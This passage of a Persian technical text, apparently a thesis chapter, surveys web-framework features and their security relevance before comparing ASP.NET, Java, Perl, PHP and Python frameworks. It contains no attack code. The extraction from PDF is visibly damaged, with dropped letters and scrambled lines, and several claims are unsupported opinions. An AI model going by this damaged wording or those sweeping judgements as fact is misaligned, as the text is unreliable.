  سازی انبوه سطوح دی ر مش ل است.شود و پیادهم 

) و مجوز Roleدر کنترل دسترس  نقش محور، سه موجودیت کاربر، نقش (
)Permission کاربری ی  ال  چند نقش دارد (مثلا مدیر، منش ، شو د. هر ) تعریف م

  معاون، معاون مال  و ...) و هر نقش  مجوز انجام صفر تا چند کار را دارد.
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تواند مدیر و معاون مال  سازمان باشد و کاربر دی ری منش  معاون مثلا کاربری م 
ند به منش  مال  و تواهای مال  نیز م مال  و منش  معاون انفورماتی . مجوز امضای نامه

معاون مال  تخصیص داده بشود. حال اگر شخص جدیدی استخدام شد تا معاون مال  
ها باشد، و مدیر وظیفه معاون مال  را واگذار کرد، تنها با تغییر نقش کاربر همه دسترس 

  منظم کار خواهند کرد.

یین خواهد ها بسیار پادر کنترل دسترس  نقش محور، خطای انسان  مدیریت دسترس 
های هر کاربر نیز مشخص های مربوط به هر نقش مشخص است و نقشبود زیرا دسترس 

  دهد.است و سیستم به طور خودکار دسترس  کاربر به مجوز را تشخیص م 

ها و هنگام  که سازمان بزرگ باشد (مثلا ی  میلیون مجوز)، نگهداری ارتباطات نقش
سط  دوی استاندارد، یعن  کنترل دسترس  نقش  شود. در این حالت،مجوزها دشوار م 

- کند. در این حالت، نقش) مش ل را حل م Hierarchical RBACمحور سلسله مراتبی (

.ها یا هردو به صورت درخت  چیده م ها یا مجوز   شوند

های مدیر مال ، مدیر انفورماتی ، مدیر نیروی انسان  و ... خواهد نقش مدیر، پدر نقش
ریزی و ... خواهد بود. ریزی، معاون مال ، معاون برنامهمال  نیز پدر مدیر برنامهبود. مدیر 

ها پدر مجوز امضای نامه مرخص ، مجوز امضای نامه در مجوزها نیز مجوز امضای نامه
  درخواست و ... خواهد بود.

ای ها را داشته باشد، به صورت غیر مستقیم اجازه امضحال اگر مدیر، اجازه امضای نامه
تر است و خطای انسان  در ها را دارد. نگهداری این سط  از سیستم بسیار سادههمه  امه

.آن بسیار کاهش م    یابد
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سازی کنترل دسترس  نقش محور سط  دو، بسیار مش ل است. فرض کنید که پیاده
ط را دارد یا خیر. فرآیند زیر باید توس X مجوز  Aسیستم قصد دارد تشخیص دهد آیا کاربر 

  سیستم ط  شود:

 لیست شود. Aهای مستقیم کاربر تمام نقش •

های غیر مستقیم های مستقیم کاربر، به عنوان نقشتمام نوادگان نقش •
 وی لیست شوند.

های غیرمستقیم کاربر ، به عنوان های مربوطه به نقشتمام مجوز •
 مجوزهای مستقیم لیست شوند.

ند. اگر کاربر ی   از این تمام نیاکان مجوزهای مستقیم کاربر لیست شو •
 مجوزها را داشته باشند، نوادگان آنرا نیز دارد.

 در این لیست نهایی بود، کاربر اجازه دارد. Xاگر مجوز  •

گیر و زمانبر است زیرا درصد قابل توجه  توجه داشته باشید که این فرآیند، بسیار حافظه
بسیار سط  پایین است و قبل از کند. همچنین این فرآیند های سیستم را بار م از داده

- ها از پیادهانجام هر کار کوچ   توسط سیستم، باید چ  شود. به همین دلیل اکثر سیستم

  سازی این زیرساخت محروم هستند.

٢٬٦٬٢٬٥ SEO 

در دنیای امروز، مطرح شدن سایتها در موتورهای جستجو و اصول  بودن 
ئز اهمیت است. این مهم که به ساختار آنها (از دیدگاه کاربران و موتورها) بسیار حا

شود، متخصصان و مهندسان گفته م  Search Engine Optimizationآن 
  خود را در دنیا دارد و سایتهای بزرگ چندین پرسنل مخصوص این کار دارند.
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افزارها و دهد. نرمبرای سایتهای کوچ تر نیز مشاوران  اینکار را انجام م 
-اند تا برنامهرا در خود گنجانیده SEOیی و بستری ها نیز ام انات ابتداچهارچوب

  تر داشته باشند.تر و دلچسبنویسان و کاربران بتوانند سایت  موفق

دهد، (چه نرم افزار و چه متخصص) انجام م  SEOاز مهمترین کارهایی که 
 URL Rewriting ،URLهای هاست که با نامزیبا سازی آدرس

Beautification شود. به عنوان مثال آدرس مطلب  ر شناخته م و نامهای دی
  چهارم در ی  سایت معمول  به صورت:

http://site.com/?p=4 

  شود ول  با استفاده از این تکنی  آدرس فوق به صورتایجاد م 

http://site.com/this-is-the-4th-post/ 

رهای جستجو و در چشم کاربران تاثیر بسیار آید. این آدرس در موتودر م 
بیشتری نسبت به آدرس قبل  که صرفا مناسب کامپیوتر است خواهد داشت (و 

  البته از نظر امنیت  نیز بسیار مناسبتر است)

های مختلف ، مدیریت لینکهای درون صفحه و حذف لینکSEOدی ر وظایف 
ران دچار ابهام نشوند). به ی  صفحه واحد است (تا موتورهای جستجو و کارب

متاداده در بالای صفحه برای معرف  بهتر  HTMLهای همچنین قراردادن برچسب
. SEOو بیشتر محتوای صفحه نیز از وظایف    هستند

بینند و صفحه را م  HTMLتوجه داشته باشید که موتورهای جستجو تنها 
ایتهایی که با اتکا و نمایش ظاهر صفحه را ندارد، لذا س Javascriptام ان اجرای 

http://site.com/?p=4
http://site.com/this-is-the-4th-post/
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کنند، از نظر موتورهای جستجو تجربه کاربر خود را بهینه م  Javascriptبه 
.اصلا قابل تعامل نیستند و نمره پایین  م    گیرند

کنند همچنین روشهایی وجود دارد که با دروغ گویی موتورهای جستجو باور م 
آورند. اینگونه سایتها و م این سایت بسیار پرمحتوا است و آنرا در نتایج اول جستج

مبل  قابل توجه  برای اینکار  SEOآیند و مهندسین برای مدت کوتاه  بالا م 
های کنند. کم کم پس از اینکه موتورهای جستجو از روی نتیجه کلی دریافت م 

کاربران فهمیدند که محتوای این سایتها بدردبخور نیست، آنها را از نتایج خود 
.حذف م    کنند

  ب سرویسو ٢٬٦٬٢٬٦
افزار با ی دی ر است. در واق  وب وب سرویس تکنولوژی تعامل دو نرم

(فراخوان  توابع از راه دور) است که به وسیله آن،  RPCسرویس استاندارد جدید 
تواند ی  تابع از ی  سیستم دی ر را فراخوان  ی  برنامه بر روی ی  سیستم م 

  سازی نماید.پیاده) را Service Oriented )SOAنموده، معماری 

وب سرویس برای کاربران عادی ی  سیستم بی فایده است، اما فرض کنید 
شما سایت  دارید که آخرین اخبار ورزش  را با نتایج انواع مسابقات در اختیار کاربران 

دهد. با افزودن زیرساخت وب سرویس و ارائه کردن محتوای غن  سایت قرار م 
کشند) از طریق وب سرویس، وزرسان  آن زحمت م شما (که پرسنل زیادی در بر

های سرویستوانند با پرداخت مبلغ  از وبهای خبری/ورزش  کوچ تر م سایت
  شما استفاده نموده مطالب و اخبار شما را در سایت خودشان نمایش دهند.
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است اما با زیادتر  SOAPدر حال حاضر استاندارد وب سرویس پروتکل 
ها توسط جاواس ریپت و آژاکس، استانداردهای سرویسشدن استفاده از وب

JSON, JSONP, YAML, Serialized PHP, اند.و غیره نیز پر استفاده شده 

 

  JSONنمایه  ٤٨شل 

ی  چهارچوب خوب، باید بتواند توابع خود (یا کنترل رهای خود) را پس از 
های وب سرویس بدون کمترین زحمت  برای کنترل دسترس  مناسب با انواع قالب

  نویس در اختیار هم ان قرار دهد تا برنامه بتواند رشد مقتض  را داشته باشد.برنامه

٢٬٦٬٢٬٧ AJAX  
آژاکس (تکنولوژی درخواست پاس  آسنکرون توسط جاواس ریپت در صفحات 

های عادی دارد. در وب) از دیدگاه معماری تفاوت قابل توجه  با درخواست
ای داده خام یا مقداری کد های آژاکس معمولا پاس  مورد نظر قطعهدرخواست

 HTMLهای عادی پاس  مطلب ی  صفحه کامل است، در حال  که در درخواست

  با قالب بندی و چهارچوب است.

های آژاکس قائل اگر چهارچوب مورد نظر ما نتواند تفکی   برای درخواست
نویس مجبور خواهد بود تا ه دهد، برنامهشده، آنها را در معماری مورد نظر ارائ

چهارچوب را دور بزند و از روشهای نامهندس  برای نیل به مقصود استفاده کند که 
  دهد.در دراز مدت امنیت سیستم را شدیدا مورد مخاطره قرار م 
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های آژاکس کم  نامحسوس هستند و تست و همچنین از آنجایی که درخواست
دگ  میسر نیست، خیل  بیشتر پتانسیل معضل امنیت  ایزوله کردن آنها به سا

های داشتن در آنها وجود دارد؛ هرچند یافتن این معضلات نیز به سادگ  درخواست
  عادی نیست.

  مد ریت کش ٢٬٦٬٢٬٨
) مسئله مهم  نیست. در Cacheهای کوچ  و کم مخاطب کش (در سیستم

ز باز هم مسئله خواهند نیهای بزرگ  که صفحات زمان پردازش زیادی نم سیستم
ها کارایی را بسیار چندان مهم  نیست، اما در هر حال وجود کش برای این سیستم

.بهبود م    بخشد

ها برای های پرمخاطب حتما به کش نیاز خواهند داشت. این سیستمسیستم
کنند نمایش صفحات نسبتا ثابت خود به مخاطبان متعدد، منابع بسیاری صرف م 

  بالایی دارد.و منابع نیز هزینه 

کند و به عنوان مثال ی  وبلاگ را در نظر ب یرید که روزانه دو مطلب منتشر م 
روزانه صد هزار نفر بازدید کننده دارد. این وبلاگ به ازای هر ی  درخواست این 

- کند و صفحه مربوطه را به وی نشان م صد هزار نفر، ی  بار کل کد را اجرا م 

  دهد.

واست اول، صفحه را پردازش کرده نمایش دهد و خروج  حال اگر به ازای درخ
های بعدی، صرفا فایل ذخیره کند و به ازای درخواست HTMLرا در ی  فایل 

HTML  آماده را به کاربر تحویل دهد، سرعت کار خود را بسیار افزایش داده و از
  کشینگ استفاده نموده است. 
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- را نمایش دهد، دی ر نم  همین وبسایت اگر بر روی صفحه خود ساعت و روز

کند ول  فایل کش تواند از کشینگ استفاده کند زیرا با گذر زمان ساعت تغییر م 
  شده ساعت زمان کش را در خود دارد.

های کشینگ احتیاج به هوشمندی و تکنولوژی دارند تا بتوانند با لذا زیرساخت
  ائه دهند.شناخت درست سیستم و نحوه عمل رد آن، بهترین راه ار را ار

  مدی یت خطا ٢٬٦٬٢٬٩
در ی  پروژه دانش اه  یا ی  سیستم در حال توسعه که هنوز تجاری نشده 

رسد، اما در ی  سیستم است، مدیریت خطا امری غیرمهم و بی ارزش به نظر م 
  های سیستم است.عملیات  و حیات ، مدیریت خطا از مهمترین ویژگ 

بندی خطاها بر حسب اهمیت،  آل مدیریت خطا ام ان دستههای ایدهزیرساخت
تشخیص نوع کاربر سیستم و نمایش یا عدم نمایش خطا به وی (به عنوان مثال 

  شود)خطاها به مدیر نشان داده میشود و برای کاربران دی ر لاگ م 

در صورت  که خطا حساس باشد (مثلا خطای امنیت  یا خطایی که باعث توقف 
میل و اس ام باید بتوانند توسط ای های مدیریت خطاکل سیستم شود) سیستم

  اس مراتب را به مدیر سیستم اطلاع دهند.

اهمیت اصل  مدیریت خطا به این دلیل است که ه رها برای شروع کارشان بر 
روی ی  سیستم، ابتدا باید رفتار آنرا شناسایی کنند. خطاها با اطلاعات  که بر روی 

. را به ی  نفوذگر م دهند، بیشتری رفتار سیستم صفحه نمایش م  شناسانند
همچنین اگر نفوذگری اقدام  برای نفوذ کرد، نتیجه آنرا از طریق خطای مربوطه به 

  آورد.دست م 
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به طور کل  مدیریت خطا از مهمترین ملزومات امنیت  ی  سیستم است که 
 شود.معمولا در مورد آن سهل انگاری م 

 

 ASPXطای نمونه خ ٤٩شل 

  مدیریت زمان ٢٬٦٬٢٬١٠
به صورت دائم عملیات سیستم را  Profileمدیریت زمان یا به عبارت بهتر 

کند یا در صورت حساس شدن آن، مدیر زمانسنج  نموده از آن گزارش ایجاد م 
  نماید.سیستم را خبر م 

ثانیه کل  ٣٠مثلا اگر سیستم  دارای معضل  باشد که با دریافت ورودی خاص، 
و حافظه را درگیر خود کند، ی  نفوذگر با کشف این رفتار به سادگ   پردازنده
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سازد. در این زمان زیرساخت مدیریت خطا با سیستم را از دسترس خارج م 
  تواند سیستم را نجات دهد.تشخیص غیرعادی بودن زمان این صفحه م 

-  ) مIDEکنند و به محیط توسعه (ها این ام ان را مهیا نم اکثر چهارچوب
  سپارند.

  الوی توسعه ٢٬٦٬٢٬١١
و  MVCهای قبل  بحث شد، ال وهایی مانند همانطور که در بخش

Component MVC های که با نامMVC Push  وMVC Pull نیز شن خته
  احتیاج به چهارچوب مناسب برای توسعه دارند.  شود،می

نو س با در صورت  که چهارچوب از ال وی مربوطه پشتیبان  نکند، برنامه
- تواند آنرا در زیرساخت ب نجاند و این باعث ضعف مهندس  نرمری بسیار م دشوا

  گردد.افزار سیستم شده، منجر به ضعف امنیت م 

کنند و مواردی که اینکار پشتیبان  م  MVCها از در حال حاضر اکثر چهارچوب
  سپارند.نویس م کنند اجازه تنظیم ال و را به برنامهرا نم 

  قالب بندی ٢٬٦٬٢٬١٢
هایی های توسعه وب، خصوصا آنهایی که مربوط به زبانی از چهارچوببسیار

هستند که ام ان خروج  انبوه دادن را ندارند (مانند جاوا و روبی)، زیرساخت 
) صفحات را دارا هستند. این زیرساخت ام ان نوشتن کد Templatingبندی (قالب

HTML ان آن است.ای در میهای خاص و سادهو درج کردن داده با قالب  
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افزار توسط طراحان ام ان ایجاد ظاهر نرم MVCها در راستای اهداف این قالب
کند. مدیر تیم کافیست به طراح ب وید که این نویسان را فراهم م به جای برنامه

  چند داده را داریم و قالبی بساز که آنها را نمایش دهد.

بودن را دارا هستند،  Templateکه خود ام ان  PHPهایی  انند برای زبان
های تخصص  قالبهایی وجود دارد ول  استفاده از آنها معمول نیست و در بحث

  مخالفین بسیاری نیز دارند.

بندی باید دارای توابع خاص  برای اصول  سازی خروج  باشد تا زیرساخت قالب
، گیرند جلوگیری نماافزار قرار م از حملات متعددی که بر روی خروج  ی  نرم ید

  در غیر اینصورت این حملات مهم و خطرناک پرتعدد خواهند شد.

  مدیریت زبان ٢٬٦٬٢٬١٣
های مهم ی  چهارچوب در دنیای وب امروزی، زیرساخت مدیریت از دی ر ویژگ 

(حرف اول و آخر لغت به همراه   i18n) که با عبارت Internationalizationزبان (
  .باشدشود، م تعداد حرفهای میان ) شناخته م 

های متنوع  دارد. بیشتر این سازیاست که پیاده چندزبان ، ساختاری پیچیده
ها مبتن  بر فایل و کشینگ هستند و تعداد کم  نیز مبتن  بر پای اه داده سازیپیاده
ها سازیشود، پیادهها بیش از دو م باشند. در هر صورت هنگام  که تعداد زبانم 

  .شوندمعمولا بسیار پیچیده م 

سازد، کم کاربرد ها حائز اهمیت امنیت  م ای که چندزبان  را در چهارچوبنکته
بودن آنها و عدم تست درست این ویژگ  است. اکثر توسعه دهندگان ی  یا دوبار 
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- کنند. چهارچوبنمایند و دی ر به جزئیات آن دقت کاف  نم زیرساخت را تست م 

  طریق این زیرساخت ه  شده اند.ای در سالهای اخیر از های قابل ملاحظه

  هاافزونه ٢٬٦٬٢٬١٤
. ها، محبوبیت پیدا نم هیچ چهارچوبی بدون پشتیبان  خوب از افزونه کند

توان های بیشماری در اینترنت وجود دارند که با استفاده از آنها م امروزه کتابخانه
 انواع کارهای پیچیده را در کوتاهترین زمان مم ن انجام داد. مثلا کتابخانه

PHPExcel افزار اکسل را به کل کارایی نرمPHP  افزاید. م  

ها و افزودن آنها به چهارچوب توسعه دهندگان وب با استفاده از این کتابخانه
ها نیز برای تفکی  و تمیزی شوند. چهارچوبمند م خود، از ام انات آنها بهره

. ساختار کد، بخش مجزایی برای آنها در نظر م    گیرند

لا برای استفاده از ی  کتابخانه جانبی (که معمولا با عبارت شخص ثالث معمو
Third Party  شود) لازم نیست تغییری در کد داده شود و کافیست نامیده م

ها نیز لازم است ی  فایلهای آن در محل مربوطه کپی شود. در برخ  از چهارچوب
  ) بر روی آن نوشته شود.Wrapperکاغذپیچ (

وجه آنست که هر کتابخانه شخص ثالث ، امنیت خود را دارد و با ن ته ق بل ت
روش و ال و و معماری مخصوص خود پیاده شده است. معمولا نفوذگران  که از 

های استفاده شده مانند، ب  کش  ک ابخانهه  ی  سیستم در مراحل اولیه باز م 
ها نیز به این کتابخانه بندند. امن کردندر آن سیستم و نفوذ به ی   از آنها امید م 

نویسان در اختیار دارند که سادگ  میسر نیست زیرا هرکدام تیم  بزرگ از برنامه
  معمولا متخصص امنیت نیز در میانشان نیست.
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ترین زیرساخت آن دانست، توان معادل امنیت ضعیفامنیت هر سیستم  را م 
.های افزوده شده به سیستکه در اکثر موارد همین افزونه   م هست د

  مدیریت دانلود ٢٬٦٬٢٬١٥
است که معمولا توسط وب سرور  HTTPدانلود فایل، قسمت  از پروتکل ساده 

ای، افزارهای حرفهها و نرمبسیاری از سایتشود. به صورت خودکار مدیریت م 
گیرند. این کار ام ان محدودیت سرعت مدیریت دانلود فایلها را نیز خود بر عهده م 

، محدودیت کنترل دسترس  و غیره را برای چهارچوب فراهم گذاشتن، آمار گرفتن
افزار دسترس  خاص  به آورد، در صورت  که اگر توسط سرور وب انجام شود نرمم 

  کنترل آن نخواهد داشت.

باید توجه داشت که دانلود فایل، به معن  دانلود ی  فایل توسط کاربر بر روی 
شود ) به کاربر ارائه م Staticایستا ( دیس  وی نیست. هرگونه فایل  که به صورت

از جمله  –شود ای بر روی سرور اجرا نم یعن  برای تولید محتوای آن برنامه –
بندی و ... توسط کاوش ر به فایلهای کش شده، فایلهای تصویر، اس ریپت، قالب

-شوند. مدیریت دانلود تمام  این فایلها را نیز در بر م صورت خودکار دانلود م 

  گیرد.

هایی که زیرساخت مدیریت دانلود وجود ندارد (به دلیل عدم آشنایی در سیستم
های و عدم توانایی در ارائه زیرساخت استاندارد)، توسعه دهندگان از راه HTTPبا 

گیرند. به عنوان مثال در سیستم  که نامطمئن برای نیل به اهداف خود بهره م 
و لذا مدیریت کنترل  –ارند، اگر مدیریت فایل هرکدام از کاربران آن ی  تصویر د

موجود نباشد، توسعه دهندگان برای مخف  نگاه داشتن  –دسترس  بر روی فایلها 
ای ناشناس با فایل  ناشناس قرار تصویر ی  فرد از دی ر کاربران، آنرا درون پوشه
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-ه مخف دهد. اینکار از دید اصول امنیت  بسیار ناصحیح است و امنیت به واسطم 

 شود.) دانسته م Security by Obscurityکاری (

بر  ست ٢٬٦٬٢٬١٦     توسع  مبتن
افزار دچار تحول اساس  شده است. با در سالهای اخیر، دنیای مهندس  نرم

افزارهای کوچ  و غول آسا تغییر )، شیوه تولید نرمAgileمعرف  روشهای چاب  (
افزار نیز های توسعه نرمحیطها و مبنیادین یافته است. در این راستا، چهارچوب

  اند.های جدید وفق دادهخود را با این روش

) Test Driven Developmentها، توسعه مبتن  بر تست (ی   از این روش
نویس ابتدا به نوشتن کد تست قسمت کوچ   از برنامه است. در این روش، برنامه

)Unit Test مئن شود که تست، غلط کن  ت  مطپردازد. سپس تست را اجرا م ) م
  گرداند.کند. در این مرحله تست نتیجه قرمز بر م را پیدا م 

نویسد. پس از آن ای که تست مربوطه را پاس کند، م نویس ب نامهسپس بر امه
کند تا غلط احتمال  برنامه را پیدا کرده، یا تست سبز شود و دوباره تست را اجرا م 

 Red-Greenتغییرات (-سبز- د. به این فرآیند، قرمزآن بخش از برنامه درست کار کن

Refactor م (.   گویند

شود برنامه بسیار چاب  و قابل تغییر باشد و پس از عملیات  این روش باعث م 
ها از صحت شدن آن، با تغییر هر قسمت آن به سادگ  بتوان با اجرای تمام  تست

  نسبی کل  برنامه مطمئن شد.
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هستند و  TDDدر حال حاضر اکثرا دارای زیرساخت  های توسعه وبچهارچوب
ها و اجرای خودکار آنها در قالب چهارچوب، در نظر بخش  را برای نوشتن تست

  اند.گرفته

کنند و اجرای کل  آنها نیز ها معمولا وضعیت سیستم را دگرگون م تست
اشند. از فرآیندی زمانگیر خواهد بود، لذا فقط باید در محیط توسعه قابل اجرا ب

ها بر گیرد، ام ان اجرای تستآنجایی که تست توسط برنامه بر روی سرور قرار م 
  روی سرور توسط چهارچوب باید کنترل و محدود شود.

اگر کاربری اشتباها، یا نفوذگری از قصد، تستها را اجرا نماید، نه تنها وضعیت 
مم ن است سیستم از شود بل ه به دلیل زمانگیر بودن آنها سرور دچار مش ل م 

  دسترس خارج شود.
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  چرخه توسعه مبتن بر تست ٥٠شل 

  

  های تجاری پرکاربردچهارچوب ٢٬۶٬٣
پردازیم. های مطرح و پر استفاده توسعه وب م در این بخش به معرف  چهارچوب

  شوند:سازی تفصیل م های معرف  شده به تفکی  زبان برنامهچهارچوب

٢٬۶٬٣٬١ ASP.NET 

های که در واق  متش ل از قطعات  کد به همراه ی   از زبان ASP.NETزبان 
C#.NET  یاVB.NET  شود و است، توسط مای روسافت پشتیبان  تجاری م

نویسان است.  به دلیل سادگ  آن، بسیاری از برنامهکارکردن با آن بسیار ساده
کنند که استفاده از این س و م افزارهای مبتن  بر وب با مبتدی اقدام به تهیه نرم
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توسط مشتری کیفیت آن قابل سنجیدن نیست، و این مهم منجر به ناامن و ضعیف 
  های تولیدی با این زیرساخت شده است.بودن اکثر سیستم

افزار در صورت  که استفاده تخصص  از زیرساخت شود، بستر ام ان ایجاد نرم
های تجاری بستر های گزاف  برای نسخهامن و عال  را نیز دارد، ول  چون هزینه

های متن باز را باید پرداخت، افرادی که تسلط کاف  به تکنولوژی دارند جای زین
. انتخاب م    کنند

٢٬۶٬٣٬١٬١ Microsoft .NET Framework 

سیستم٩٩ترین چهارچوبی که معمول ، از آن بهره م  ASPXهای %  گیرند
توسط  ٢٠٠٠رچوب در سال چهارچوب همراه آن یعن  دات نت است. این چها

  شود.آن بهره برداری م  ۴مای روسافت ارائه شده است و در حال حاضر نسخه 

-ها و زیرساختدات نت چهارچوب بسیار وسیع و قدرتمندیست که تکنولوژی

های قدرتمندی نیز دارد، اما به دلیل اینکه حجم بسیار بالایی دارد و تنها بر روی 
  ندوز ی  محصول گرانقیمت است) مشتری زیادی ندارد.ویندوز قابل اجراست (و وی

های مربوط به آن، وابستگ  شدیدی به سیستم همچنین دات نت و تکنولوژی
عامل ویندوز دارند و با اینکه نسخه متن باز آن منتشر شده است، اکثر ام انات آن تنها 

 MVCل وی به بعد این چهارچوب از ا ٣های بر روی ویندوز کار خواهد کرد. نسخه
.پشتیبان  م    کنند
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 Microsoft .NETنمایه  ٥١شل 

  

٢٬۶٬٣٬١٬٢ DotNetNuke 

، به دلیل عدم وجود چهارچوبی بر روی PHPNukeافزار برگرفته شده از نرم
ASPX افزار کم کم به ی  چهارچوب توسعه تبدیل شد.این نرم  

٢٬۶٬٣٬٢ C++ 

قریبا کاربردی ندارد. اکثر کاربرد زبان س  پلاس پلاس بر روی وبهای امروزی ت
هاییست که بر روی تجهیزات سخت افزاری نصب باقیمانده آن مربوط به وب سایت

شود، امروزه اکثر تجهیزات سخت افزاری پنل مدیریت و کنسول خود را از طریق م 
دهد و از آنجایی که تکنولوژی سخت افزاری آنها ساده وب در اختیار کاربر قرار م 

  کنند.تنها زبان س  را به سادگ  پشتیبان  م  است،

٢٬۶٬٣٬٢٬١ CppCMS 

های مدیریت محتوا با استفاده از زبان س  ی  چهارچوب ساده برای سیستم
پلاس پلاس. این چهارچوب به نسبت ساده است و ام انات امنیت  خوبی نیز 

  دارد.
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٢٬۶٬٣٬٢٬٢ Wt 

شود، ی  که ویت  خوانده م  Wtچهارچوب بسیار معروف و قدرتمند 
است. این چهارچوب  Qtایده گرفته از چهارچوب غول آسای  محصول

Component Based MVC  طراح  شده ول  ازMVC  نیز پشتیبان  کامل
.م    کند

ای که در ویت  وجود دارد، آنست که در صورت پشتیبان  جالب رین نکته
 HTMLدهد و در غیر اینصورت به ارائه م Ajaxمشتری، سایت را به صورت 

- بهره م  Componentشود. به دلیل اینکه این چهارچوب از یل م ساده تبد

  دهد.گیرد، این ام انات را به سادگ  و به قدرت انجام م 

، امنیت، چند زبان  و عدم پشتیبان  از کش و قالب بندی، ORMپشتیبان  از 
  های اصل  این چهارچوب هستند.ویژگ 

  جاوا ٢٬۶٬٣٬٣
نویسان دارد که اع بزرگ  از برنامهزبان جاوا به دلیل قدیم  بودن آن، اجتم

های بسیار بهتری وجود دارند، به شدت به آن وفادار هستند. هرچند امروزه زبان
  های اولیه وب نیز بر روی همین زبان ش ل گرفته است.ترین چهارچوبقوی

٢٬۶٬٣٬٣٬١ Spring 

 ORMبه همراه  Springترین چهارچوب توسعه وب در جاوا، معروف
ها استفاده شده است. ، در بسیاری از سیستمHibernateقدرتمند آن یعن  

های بیشماری از آن ها و نسخهاسپرینگ ام انات بسیاری دارد و امروزه افزونه
نیز موجود هستند. همچنین ی  چهارچوب امنیت  کامل نیز درون آن گنجانده 

 شده است.
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  نمایه اسپرینگ ٥٢شل 

 

 Hibernateاسپرینگ،  ORMنمایه  ٥٣شل 

  

٢٬۶٬٣٬٣٬٢ Apache Struts 

چهارچوب قدرتمند، بال  و کامل که توسط آپاچ  عرضه شده است. این 
و ام انات اولیه امنیت   MVCچهارچوب ام انات کامل  از جمله هر دو نوع 

  دارد.

٢٬۶٬٣٬٣٬٣ Apache Wicket 

-در پروژه ، وی ت چهارچوبیست که هنوزComponent MVCاز مبتکرین 

شود ول  پتانسیل خوبی دارد. ام انات امنیت  و های تجاری زیادی استفاده نم 
  های ی  چهارچوب نیز در این چهارچوب گنجانده شده است.دی ر ویژگ 

٢٬۶٬٣٬٣٬۴ Google Web Toolkit 

اند.  افزارهای گوگل توسط آن طراح  شدهچهارچوبی که بسیاری از نرم
های ساخته شده توسط آن از نظر ه برنامهویژگ  اصل  این چهارچوب آنست ک

ساده تفاوت  ندارند و از ظاهرهای متفاوت و دشوار استفاده  HTMLظاهری با 
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کنند. این مهم باعث شده تا کاربر این چهارچوب در عین سادگ  ام انات نم 
کنند، هایی که از این چهارچوب استفاده م خوبی داشته باشد. از سیستم

Gmail.com .است  

٢٬۶٬٣٬۴ Perl 

های بسیار قدیم  یونی س  است همانطوری که قبلا بحث شد، زبان پرل از زبان
های اند. پرل دارای ماژولنوشتههای بسیاری را با استفاده از آن م که سایت

گیرند. متعددی است که هرکدام بخش  از وظایف ی  چهارچوب وب را بر عهده م 
  ارند:های زیر نیز برای پرل وجود دچهارچوب

٢٬۶٬٣٬۴٬١ Catalyst 

که تقریبا  Bloatingچهارچوب بسیار قدرتمندی دارای 
نماید. تمام  ام انات ی  چهارچوب وب را پشتیبان  م 

های متعددی برای کاتالیست کد زیادی ندارد ول  از ماژول
های تکمیل خود بهره گرفته است که هم   از ماژول

   استاندارد پرل هستند.

٢٬۶٬٣٬۴٬٢ Dancer  
تر از کاتالیست، این چهارچوب جوانتر پس از و معقول ترچهارچوبی سب 
آن ایجاد شد. این چهارچوب  Bloatingبه دلیل  Catalystگمراه شدن کاربران 

  نماید.های متداول را پشتیبان  م نیز تمام ام انات چهارچوب

 ایه کاتالیستنم ٥٤شل 
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٢٬۶٬٣٬۵ PHP  
های های وبی و اکثر سیستمدرصد سیستم ٧٠از آنجایی که این زبان بیش از 

های آن کم  وسیعتر صورت دهد، مطالعه چهارچوبباز را تش یل م تنمحبوب م
  گرفته است.

٢٬۶٬٣٬۵٬١ CakePHP  
چهارچوبی بسیار ساده و محبوب برای 

. نام این PHPافزار با توسعه سریع و راحت نرم
المثل  انگلیس  به معنای سادگ  چهارچوب از ضرب

گرفته شده است. این چهارچوب ام انات خوب و 
ول  برای کاربردهای تخصص  مناسب نیست و بیشتر برای یادگیری  کامل  دارد

 شود.و کاربردهای ساده استفاده م 

٢٬۶٬٣٬۵٬٢ CodeIgniter  
های محبوب و قدرتمند از جمله چهارچوب

PHP این چهارچوب توسط ی  شرکت تجاری ،
آلمان  نوشته شده است و کمترین نقاط ضعف 

ر چندین بار امنیت  را دارد. با این حال در سالهای اخی
اند، به عنوان مثال در سال های این چهارچوب مورد نفوذ قرار گرفتهزیرساخت

  زیرساخت چندزبان  این چهارچوب توسط نگارنده سند ه  شده است. ٢٠١٢

٢٬۶٬٣٬۵٬٣ Symfony 

های ، سمفون  دارای کتابخانهPHPهای از قویترین و کاملترین چهارچوب
های چهارچوب د و به دی ر ویژگ بسیاری است که تا حد خوبی استقلال دارن

 CakePHPنمایه  ٥٥شل 

 CodeIgniterنمایه  ٥٦شل 
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های این چهارچوب به صورت مجزا در وابسته نیستند. به همین دلیل کتابخانه
  اند.افزارهای بسیاری مورد استفاده قرار گرفتهنرم

نویسان  سمفون  از نظر امنیت  قدرتمند است ول  زیرساخت آن توسط برنامه
اند، لذا گاها دچار افزار نداشتهاست که تسلط کاف  به امنیت نرمشدهنوشته

  شود.معضلات امنیت  م 

 

  نمایه سمفون ٥٧شل 

٢٬۶٬٣٬۵٬۴ Yii  
که تنها به دلیل زیبایی ظاهری و  PHPچهارچوب نوپا و نسبتا ضعیف 

سریع بودن محبوب شده است. این چهارچوب از نظر امنیت  و مهندس  ضعیف 
  طراح  شده است.

٢٬۶٬٣٬۵٬۵ Zend Framework 

که  PHP، زند توسط شرکت اسرائیل  قدرتمند PHPهای غول چهارچوب
است، نوشته شده است. را نیز طراح  کرده PHPهای بسیاری از زیرساخت

های آن استقلال م ابایت است و ماژول ۶٠حجم کد این چهارچوب بیش از 
  نسبی خوبی دارند.

ها اری از سایتاز نظر امنیت  و کارایی کامل طراح  شده است و در بسی
شود، اما به دلیل پیچیدگ  و بزرگ  زیاد آن، بسیاری از سایتها و استفاده م 

  طراحان از استفاده از آن وحشت دارند.
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توسط شرکت زند ارائه  PHPهای تجاری و تخصص  در حال حاضر نسخه
  شود.م 

 

  نمایه چهارچوب زند ٥٨شل 

٢٬۶٬٣٬۵٬۶ jFramework 

چوبی قدرتمند و نسبتا بال  که با اصول امنیت  چهار
بسیاری نوشته شده است. نقطه ضعف این چهارچوب، نداشتن 
جامعه متن باز بزرگ است که به دلیل نام خاص چهارچوب پیش 

» ج «شوند با حرف هایی که برای زبان جاوا نوشته م آمده است. معمولا چهارچوب
  شوند.نامیده م 

  

٢٬۶٬٣٬۶ Python 

های وب آن که پایتون ی  زبان مختص وب نیست، چهارچوب از آنجایی
های متعدد و محدودیست که تر هستند. پایتون دارای چهارچوبدشوار و پیچیده

  تنها دو مورد از آنها در سایتهای زیادی استفاده شده اند:

٢٬۶٬٣٬۶٬١ django  
چهارچوبی که پایتون را به عرصه وب وارد کرد، دیجانگو از ام انات کامل  

های پایتون نیز دارد. این چهارچوب دار است و تطابق قابل توجه  با ال وبرخور
